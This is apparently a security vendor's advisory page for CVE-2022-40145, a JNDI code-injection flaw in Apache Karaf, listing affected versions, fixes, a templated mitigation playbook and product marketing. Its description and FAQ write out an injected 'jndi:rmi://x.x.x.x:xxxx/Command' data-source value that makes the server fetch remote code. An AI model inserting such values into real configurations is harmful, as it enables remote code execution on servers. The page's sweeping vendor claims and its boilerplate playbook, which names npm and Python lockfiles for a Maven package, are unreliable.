Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Maven
Not in CISA KEV
CRITICAL severity

GHSA-c2p4-8mvv-rwmv

CRITICALFix: apache/karaf#1632

GHSA-c2p4-8mvv-rwmv is a critical-severity (CVSS 9.8) Improper Input Validation vulnerability in org.apache.karaf:apache-karaf. O3 Security confirms whether GHSA-c2p4-8mvv-rwmv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Apache Karaf vulnerable to potential code injection

Also known asCVE-2022-40145
Published
Dec 21, 2022
Updated
Apr 15, 2025
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Apr 15, 2025 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

2 pkgs affected
org.apache.karaf:apache-karaforg.apache.karaf:apache-karaf

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource uses InitialContext.lookup(jndiName) without filtering. A user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
Mavenorg.apache.karaf:apache-karafall versions4.3.8
Mavenorg.apache.karaf:apache-karaf4.4.0&&< 4.4.24.4.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.apache.karaf:apache-karaf. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update org.apache.karaf:apache-karaf to 4.3.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c2p4-8mvv-rwmv is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-c2p4-8mvv-rwmv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-c2p4-8mvv-rwmv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP d
O3 Security · Impact-Aware SCA

Is GHSA-c2p4-8mvv-rwmv in your dependencies?

O3 detects GHSA-c2p4-8mvv-rwmv across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-c2p4-8mvv-rwmv: Apache Karaf… | O3 Security